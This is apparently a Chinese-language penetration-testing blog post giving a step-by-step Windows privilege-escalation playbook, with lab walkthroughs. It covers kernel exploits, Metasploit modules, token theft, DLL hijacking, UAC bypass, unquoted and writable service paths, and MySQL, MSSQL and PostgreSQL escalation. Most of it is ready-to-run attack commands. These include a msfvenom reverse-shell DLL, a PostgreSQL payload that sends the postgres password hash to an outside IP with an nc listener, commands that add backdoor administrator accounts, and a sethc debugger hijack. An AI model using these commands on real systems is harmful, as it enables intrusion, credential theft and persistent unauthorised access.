权限提升

windows

windows

信息收集

  1. 当前权限 -> 提权方法
  2. 操作系统版本/位数 -> 提权方法
  3. 漏洞补丁 -> 溢出漏洞
  4. 杀软防护 -> 当前进程服务,免杀
  5. 网络情况 -> 无法反弹shell?
命令 描述
systeminfo 打印系统信息
whoami 获得当前用户名
whoami /priv 当前帐户权限
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
netsh firewall show config 显示防火墙配置
tasklist 列出进程
tasklist /svc 列出服务任务
net start 列出启动的服务
sc query 列出所有服务

溢出漏洞

1.利用

使用范围:windows全版本,主要根据补丁情况决定

使用权限:web服务器权限即可

利用流程:

  1. 信息收集
  2. 筛选EXP
  3. 下载EXP
  4. 上传EXP
  5. EXP利用

https://github.com/wwl012345/Vuln-List/blob/main/Windows%26Linux%E6%8F%90%E6%9D%83%26RCE%E5%90%88%E9%9B%86.md

实战中最常用的本地溢出提权有 CVE-2018-8120、MS16-032、MS15-051 和MS14-058

1.信息收集

systeminfo

根据系统版本、补丁信息,筛选可用EXP。

2.筛选EXP

筛选EXP -> 根据系统类型、补丁情况寻找未打补丁的漏洞

在线网站:

  1. https://i.hacking8.com/tiquan/
  2. https://www.adminxe.com/CompareSys/

辅助工具:

  1. https://github.com/bitsadmin/wesng
  2. https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
  3. https://github.com/chroblert/WindowsVulnScan
  4. MSF

wesng:复制systeminfo保持为txt,在本地执行wes.py

1
python3 wes.py systeminfo.txt -o cve.csv

MSF

1
2
run post/windows/gather/enum_patches					# 查看系统补丁情况
run post/multi/recon/local_exploit_suggester # 自动筛选可用EXP

3.下载EXP

EXP可能有很多都无法成功,原因很多,所以一定要看一些EXP的介绍,了解一下漏洞成因(比如是根据某服务进行提权,但是目标根本就没有,所以自然无法提权成功),使用方式(直接提权/可以提权执行命令)….

  1. https://github.com/Ascotbe/Kernelhub
  2. https://github.com/nomi-sec/PoC-in-GitHub
  3. https://github.com/SecWiki/windows-kernel-exploits
  4. MSF

4.上传并执行EXP

上传 -> webshell,msf upload…

5.流程

手工提权

webshell -> systeminfo -> wesng -> 网上寻找EXP -> 上传EXP -> EXP利用 -> systeminfo

MSF提权

webshell -> 上传msf后门 -> msf监听 -> 执行后门 -> post/multi/recon/local_exploit_suggester(自动筛选exp) -> bg -> info … -> use …(使用…模块) -> show options -> set session … … -> run -> systeminfo

2.实操

1.MSF

1
sysinfo

image-20230203104753071

1
run post/multi/recon/local_exploit_suggester	# 自动筛选EXP

image-20230203105042332

1
2
3
4
use use exploit/windows/local/cve_2019_1458_wizardopium
show options
set session 1
run

image-20230203105123167

image-20230203105225998

2.手工

使用MSF进行EXP枚举动静较大,且一些新的漏洞exp msf中可能未集成,所以这里熟悉一下手工提权的流程。

信息收集 -> 筛选EXP -> 下载EXP -> 上传并执行EXP

1
systeminfo			# 查看系统版本/位数/补丁情况

image-20230206105208984

复制systeminfo信息,并使用wesng筛选未打补丁的漏洞编号。

1
python3 wes.py systeminfo.txt -o cve.csv

image-20230206105728324

查找存在的EXP的漏洞,这个是因为github上的比较慢,还要一个一个搜,就把 Kernelhub、PoC-in-GitHub、WindowsVulnScan 全部克隆下来到本地,然后写了个脚本解析csv文件,提取权限提升的漏洞编号,批量使用find命令进行查找exp路径。exp的项目可以使用crontab命令定时进行克隆。

image-20230206105917225

然后就是看每个EXP的介绍,寻找适合的EXP,这里使用 CVE-2019-1458。

使用MSF上传EXP:

1
upload /home/kali/Desktop/wesng/exp/CVE-2019-1458/cve-2019-1458.exe C:/Users/Administrator/Desktop

image-20230206120338007

这个exp可以以system权限执行命令,不能直接反弹shell,这里使用exp执行msf的后门,然后再启动一个msf进行监听:

image-20230206131819833

得到一个system权限的shell:

image-20230206131542046

get_windows_exp.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package main

import (
"encoding/csv"
"fmt"
"os"
"os/exec"
"strings"
)

func Cmd(name string, args ...string) string {
cmd := exec.Command(name, args...)
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("命令执行模块发生错误", err)
}
return string(out)
}
func Deduplication(lines []string) []string {
m := make(map[string]bool)
var result []string
for _, line := range lines {
if !m[line] {
result = append(result, line)
m[line] = true
}
}
return result
}
func ReadCsv(path string) []string {
file, err := os.Open(path)
if err != nil {
fmt.Println("文件文件打开错误:", err)
}
defer file.Close()
reader := csv.NewReader(file)
all, err := reader.ReadAll()
if err != nil {
fmt.Println("CSV读取发生错误:", err)
}
var subdomains []string
for i := 1; i < len(all); i++ {
if strings.Contains(all[i][7], "Privilege") {
subdomains = append(subdomains, all[i][1])
}
}
return Deduplication(subdomains)
}
func main() {
exp := "exp"
cve := "cve.csv"
fmt.Println("[+]","start ....")
dir,_ := os.Getwd()
var YesEXP,NoEXP []string
for _, v := range ReadCsv(cve) {
path := Cmd("find", exp, "-name", v)
path = strings.TrimRight(path,"\n")
path = strings.Replace(path,"\n"," | "+dir+"/",10)
if v != ""{
if path != ""{
YesEXP = append(YesEXP,v+" --> "+dir+"/"+path)
}else{
NoEXP = append(NoEXP,v)
}
}
}
fmt.Println("YesEXP:",len(YesEXP))
for _,v := range YesEXP{
fmt.Println("[+]",v)
}
fmt.Println("NoEXP:",len(NoEXP))
for _,v := range NoEXP{
fmt.Println("[+]",v)
}
fmt.Println("[+]","Bye")
}

AT&SC&PS

AT&SC&PS命令提权的原理大致相同,系统执行一些任务、服务…时,会默认调用system权限,从而导致权限提升。

命令 作用 使用版本
at 计划任务 2000/2003/XP
sc 服务控制 7/8/2003/2012/2016/2019
psexec 远程执行进程 同上

注:交互式的cmd窗口无法生成时,可以执行后门来反弹shell,可能只是无法执行交互式的任务,而不是无法执行。

1.利用

1.at

计划命令,默认调用system权限

1
at 21:00 /interactive cmd		# 21:00生成一个交互式的System权限的cmd窗口

2.sc

用于服务控制管理器和服务进行通信的命令行程序,功能类似于控制面板中管理工具项中的服务

1
2
sc Create syscmd binPath="cmd /K start" type=own type=interact		
sc start syscmd # 运行服务

3.psexec

pstools:微软官方的一个工具包

pstools:https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools

psexec:pstools 中一个可以执行进程的工具

image-20230208103110277

利用 psexec 进行提权。

1
psexec.exe -accepteula -s -i -d cmd.exe

2.实操

1.sc

目标:windows server 2012

执行交互式的cmd服务失败,根据警告发现可能是交互式的问题:

image-20230208094012192

那么就利用sc执行msf后门,成功:

1
2
sc Create sysmsf binPath="C:\Users\Administrator\Desktop\shell.exe" type=own
sc start sysmsf

image-20230208102053587

image-20230208102018939

2.psexec

下载pstools,将psexec上传到目标。

弹cmd窗口:

image-20230208104656413

弹shell:

image-20230208104812952

image-20230208104825955

进程注入

1.利用

适用版本:2008/2012/2016/2019

原理:将后门注入到system权限进程下,线程继承了system进程的权限,实现权限提升。

使用工具:MSF、pinjector(仅适用于2008之前的版本,这里就不使用了)

1
2
ps					# 查看进程		
migrate 180 # 迁移到PID为180的进程

2.实操

1
2
3
ps					
migrate 3060
getuid

image-20230208113756969

令牌窃取

令牌窃取一般使用于本地用户,不过在于烂土豆漏洞配合的情况下,可以从服务权限 (仅适用于服务权限) 进行提权。

1.利用

适用版本:2003/2008/2012/2016/2019

使用工具:MSF

1
2
3
use incognito
list_tokens -u
impersonate_token "令牌"

烂土豆配合令牌窃取提权:

烂土豆是溢出漏洞,令牌窃取适用于本地权限提升,可以使用烂土豆和令牌窃取进行配合实现webshell的权限提升。

适用条件:

  1. 烂土豆未打补丁
  2. 当前权限为服务权限,而非本地用户

MS16-075 RottenPotato原理:

  1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
  3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

RottenPotato下载:

1
2
3
4
5
6
# 执行烂土豆EXP
execute -cH -f potato.exe
# 令牌窃取
use incognito
list_tokens -u
impersonate_token "令牌"

2.实操

1
2
3
4
getuid
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

image-20230208115110564

getsystem

1.利用

getsystem 是MSF中针对windows管理员组用户的一个自动提权模块,其使用条件为:

  1. 管理员组的成员
  2. UAC:
    1. 非最高等级:MSF内置模块,UACME 进行绕过
    2. 最高等级:使用MSF ask模块,会给目标弹出一个UAC的框,用户确定后,即可绕过UAC提权

查看当前用户是否属于管理员组:

1
2
net localgroup Administrators	# 查看本地管理员组成员
whoami # 查看当前用户名

image-20230214212026690

UAC -> 用户账户控制

image-20230212193308387

BypassUAC:

  1. MSF 内置模块
  2. UACME 工具

MSF:

image-20230212215054023

1
2
use exploit/windows/local/bypassuac		
use exploit/windows/local/ask # 询问模式

UACME:https://github.com/hfiref0x/UACME

1
akagi64 61 shell.exe	# 使用第61模式去执行后门,然后使用getsystem进行提权

2.实操

1.无UAC

查看当前用户是否属于管理员组:

1
net localgroup Administrators		# 查看管理员组成员

image-20230212200939237

当前用户 admin 在管理员组中,可以使用 getsystem 进行提权,直接提权成功。

image-20230212201031688

2.BypassUAC

UAC -> 默认,第三级

image-20230212193944834

提权尝试 -> 失败

image-20230212194138937

1
2
3
use exploit/windows/local/bypassuac		# MSF中内置的BypassUAC模块
set ...
run

image-20230212214811475

1
getsystem

image-20230212214847628

DLL劫持

1.利用

DLL介绍:

  1. DLL:动态链接库
  2. DLL 是一个包含可由多个程序同时使用的代码和数据的库。

DLL劫持提权:

  1. 在程序运行后,就需要从DLL中加载其需要使用的代码,根据这个特性,我们将某个DLL替换为一个包含后门的DLL文件,在这个程序运行时,就会自动加载这个DLL文件,从而触发后门代码,使我们成功得到一个shell。

  2. DLL劫持具体获取的权限一般取决于运行此程序时用户的权限,一般是管理员组的用户,这时再使用MSF的getsystem或者其他方式继续提升到system 权限。

使用工具:

  1. DLL分析:WinDbg、火绒剑
  2. DLL劫持验证:ChkDllHijack
  3. DLL后门生成:MSF

工具下载:

  1. WinDebug:http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi
  2. ChkDllHijack:https://github.com/anhkgg/anhkgg-tools

工具使用:

WinDebug:

image-20230213232945032

image-20230213233019826

image-20230213233040579

image-20230213233509662

ChkDllHijack:

把WinDebug的dll复制到这里,再选择好目标exe文件。

image-20230213233706067

这个工具会一直测试dll文件(一直启动目标程序),最后会显示出可以替换的dll文件:

image-20230213234055666

MSF生成DLL后门:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.67.140 lport=12345 -f dll > libeay32.dll

2.实操

目标机器上有flashfxp,本地安装一下。

使用WinDebuy启动软件,查看其dll调用情况。

image-20230213213007743

image-20230213220818574

image-20230213224207793

这里使用libeay32.dll

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.67.140 lport=12345 -f dll > libeay32.dll

这个测试没有成功,的确调用了dll文件,但是无法反弹shell。

服务路径

1.利用

其根本原理还是系统调用服务时默认会以system权限去运行,导致权限提升。

原理:当服务路径 不带引号路径中存在空格 时,可以将其看作 [命令][空格][参数] 的形式,上传一个与 [命令] 同名的exe文件,当服务启动后,会运行 [命令],而在windows中exe文件可以不加后缀就执行,导致服务启动时执行了我们上传的EXE文件,实现了权限提升。

带引号和不带引号的区别:

"C:\Program Files\Everything\Everything.exe":表示的是一个命令整体

C:\Program Files\Everything\Everything.exe:由于 C:\Program 后有空格,则表示为 C:\Program 是命令,而Files\Everything\Everything.exe C:\Program 命令的参数

运行后如下:

image-20230213121142976

使用 wmic 检查不带引号的服务路径:

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\"|findstr /i /v """

使用 sc 命令启动服务:

1
sc start [displayname]

利用流程:

  1. 使用wmic寻找不安全的服务路径
  2. 制作同名的后门,上传到指定位置
  3. 启动监听,重启服务

2.实操

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\"|findstr /i /v """

image-20230213211052896

发现phpStudySrv服务路径不带引号且路径中存在空格,那么就修改后门名为 Program.exe,上传到 C:\

1
upload /home/kali/Desktop/Program.exe C:/

image-20230213211526717

启动新的MSF监听,启动服务,提权成功:

1
sc start phpStudySrv

image-20230213212351569

服务权限

1.利用

原理:某些服务可以权限设置不恰当,导致可以被低权限的用户修改其服务路径,从而直接将服务路径指向后门文件,导致权限提升。

使用工具:accesschk

工具介绍:微软官方的 windows系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。**该工具将有助于识别当前用户是否可以修改某个服务目录中的文件。**我们可以使用该工具查看当前用户可以修改的服务。

accesschk:https://learn.microsoft.com/zh-cn/sysinternals/downloads/accesschk

1
2
accesschk.exe /accepteula	# 接收许可
accesschk.exe -uwcqv "fuming" * # 查看用户fuming可以修改的服务

image-20230214220937763

RW 就代表着可以读写。RW后面跟的就是是服务名。

之后就是修改服务路径,启动服务。

1
2
3
sc stop [服务名]
sc config [服务名] binPath= [可执行文件路径]
sc start [服务名]

2.实操

上传 accesschk:

1
2
pwd
upload /home/kali/Desktop/accesschk.exe C:\\Users\\Administrator\\Desktop

image-20230214222451668

运行 accesschk,查看是否可以修改服务路径:

1
execute -if accesschk.exe -a "/accepteula"		# 添加许可

image-20230214222748510

查看当前用户可以修改的服务:

1
2
getuid 
execute -if accesschk.exe -a "-uwcqv "Administrator" *"

image-20230214222938995

替换服务指向路径,路径设置为MSF的后门程序:

1
2
3
sc stop Appinfo
sc config Appinfo binPath= "C:\Users\Administrator\Desktop\shell.exe"
sc start Appinfo

修改后,启动MSF监听,启动服务,提权成功。

image-20230214223402301

数据库

使用工具:

  1. MSF
  2. Navicat

1.MySql

前提条件:

  1. root 用户 -> 文件写入的权限
  2. secure_file_priv 为空 -> 文件写入位置不受限制

1.udf提权

1.简介

udf -> user defined function -> 用户自定义函数

udf 提权就是用户定义了一个执行命令的函数从而实现系统命令的执行。

udf 文件后缀在windows与linux系统下分别为dll与so,即动态链接库文件,由C、C++编写。

udf 在mysql5.1以后的版本中,存放于’mysql/lib/plugin’目录下。5.1 之前 c:\windows\system32 。

2.条件
  1. root账户
  2. secure_file_priv为空
3.开启外连

MySql默认情况下是不允许外部远程连接root用户的,所以需要先使用webshell、Navicat HTTP通道、phpmyadmin等方式开启外连。

1
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密码' WITH GRANT OPTION;
4.MSF_UDF

MSF中有udf模块,dll中包含sys_exec()和sys_eval()两个函数,MSF只创建sys_exec(),sys_exec()不回显,所以还需要手工创建sys_eval()。

1
2
use exploit/multi/mysql/mysql_udf_payload	
set ...
1
2
create function sys_eval returns string soname "nqCFiHBv.dll";	# 创建sys_eval函数
select sys_eval("whoami"); # 命令执行
5.反弹shell

MSF中的dll自定义的函数是用来执行命令的,还可以其他dll来创建用来反弹shell的函数。

可用使用暗月MYSQL高版本提权工具进行反弹shell。

https://blog.csdn.net/weixin_43801718/article/details/105493042?spm=1001.2014.3001.5501

https://www.sqlsec.com/2020/11/mysql.html#%E5%8F%8D%E5%BC%B9%E7%AB%AF%E5%8F%A3%E6%8F%90%E6%9D%83

2.启动项提权

MySql的文件写入功能 -> 写入后门到启动项目录中 -> 目标机器重启,执行后门,反弹shell

1
MSF -> use exploit/windows/mysql/mysql_start_up

3.MOF提权

MOF -> 成功几率很小 2003

原理:C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

1
MSF -> use exploit/windows/mysql/mysql_mof

4.总结

MySQL提权共3种方法,其实还是一种方法 -> 利用MySQL文件写入的功能,所以限制就比较明显 -> 文件写入的权限&写入任意路径的权限。

5.实操

1.UDF
1.信息收集

webshell连接数据库:

image-20230131201206945

查看是否可写入文件?

1
show variables like '%secure%';

可以看到 secure_file_priv 为空,满足条件,可以提权。

image-20230131201237872

2.开启外连
1
2
3
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;	# 开启外连

SELECT * FROM mysql.user LIMIT 0,10; # 查看

image-20230131173915674

3.MSF

use exploit/multi/mysql/mysql_udf_payload

set RHOSTS 43.139.185.135

set PASSWORD root

run

No such file or directory,需要手工创建。使用MSF报错出路径再创建比较方便。

image-20230131202324155

webshell创建文件夹:

image-20230131201842453

run

image-20230131202558414

image-20230131202632942

创建sys_eval:

create function sys_eval returns string soname “nqCFiHBv.dll”; # 创建sys_eval函数

select sys_eval(“whoami”); # 命令执行

image-20230131202806186

image-20230131202829764

由于是phpstudy搭建的环境,所以权限是phpstudy获得的权限 -> administrator,而不是system权限。

4.反弹shell

dll文件中存在反弹shell的函数,从而实现反弹。

https://www.sqlsec.com/2020/11/mysql.html#%E5%8F%8D%E5%BC%B9%E7%AB%AF%E5%8F%A3%E6%8F%90%E6%9D%83

工具:暗月MYSQL高版本提权工具

image-20230201171614280

2.启动项

use exploit/windows/mysql/mysql_start_up

set USERNAME root

set PASSWORD root

set RHOSTS 43.139.185.135

set DISABLEPAYLOADHANDLER false

run

image-20230131222319329

image-20230131222059289

2.MSSQL

https://github.com/uknowsec/SharpSQLTools/

前提条件:sa 用户

1.xp_cmdshell

xp_cmdshell -> 可以执行系统命令

开启xp_cmdshell:

1
2
3
EXEC sp_configure 'show advanced options', 1RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

执行命令:

1
EXEC master.dbo.xp_cmdshell 'whoami';

2.sp_oacreate

sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd

sp_oacreatesp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreatesp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。

开启组件:

1
2
3
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;

调用cmd.exe执行命令并写入到test.txt

1
2
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod 
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:/test.txt'

3.沙盒

原理:本质是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators qianxun /add")')

-- 恢复配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

clr

Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成

CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等

大概意思就是,利用CRL组件我们可以在SQ Server数据库上执行任意C#代码

1
2
3
4
5
6
7
8
--开启所有服务器配置
sp_configure 'show advanced options', 1;
RECONFIGURE WITH override
GO
--开启 CLR
sp_configure 'clr enabled', 1;
RECONFIGURE WITH override
GO

https://www.cmdhack.com/archives/224.html

4.JOB

原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

首先需要启动sqlagent服务:

1
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

然后创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt

1
2
3
4
5
6
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';

5.映像劫持

利用regwrite函数修改注册表,起到劫持作用:

1
2
3
4
5
6
7
8
9
10
11
12
-- 查看xp_regwrite是否启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
-- 开启regwrite
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
-- 利用regwrite函数修改注册表进行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
-- 查看是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
-- 远程连接桌面,连续按五次shift就可调用cmd窗口

6.实操

1.xp_cmdshell

Navicat连接,默认开启外连:

image-20230201172820986

EXEC sp_configure ‘show advanced options’, 1RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;

image-20230201173044181

EXEC master.dbo.xp_cmdshell ‘whoami /all’;

image-20230201173241862

2.sp_oacreate

EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;EXEC sp_configure ‘Ole Automation Procedures’,1;
RECONFIGURE;

image-20230201174014723

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c whoami >d:/test.txt’

image-20230201174305333

3.其他

其他方法无法成功,可能是安装出了问题或者没有权限。

3.oracle

java一般是system权限运行,所以oracle一般直接得到最高权限。

工具:oracleShell

地址:https://github.com/jas502n/oracleShell

image-20230201182018938

4.PostgreSQL

PostgreSQL提权主要是靠2个Nday:

  1. CVE-2018-1058 PostgreSQL 提权漏洞 -> 普通用户连接到数据库—>注入危险代码—>等待超级用户登录触发后门—>收到敏感信息
  2. CVE-2019-9193 高级权限命令执行漏洞

登录:psql –host your-ip –username vulhub

1.CVE-2018-1058

影响版本:9.3到10

普通用户连接到数据库—>注入危险代码—>等待超级用户登录触发后门—>收到敏感信息

1
2
3
4
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=IP地址 port=端口 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
1
nc lvvp 端口

https://vulhub.org/#/environments/postgres/CVE-2018-1058/

https://blog.csdn.net/q943111495/article/details/121032338

2.CVE-2019-9193

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

1
2
3
4
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

https://vulhub.org/#/environments/postgres/CVE-2019-9193/

https://cloud.tencent.com/developer/article/1472565

3.实操

1.CVE-2018-1058
1
2
3
4
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=43.140.192.244 port=4444 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

image-20230201190453256

1
nc -lvvp 4444

image-20230201190544182

2.CVE-2019-9193

image-20230201191002084

linux

Linux 中权限提升方式不过多赘述,通过 SUID、提权漏洞、服务等方式,可以使用各种工具直接全面检测,很简单。

直接下载执行就能收集信息和检测提权漏洞。


权限提升
https://liancccc.github.io/2024/09/15/技术/内网渗透/权限提升/
作者
守心
发布于
2024年9月15日
许可协议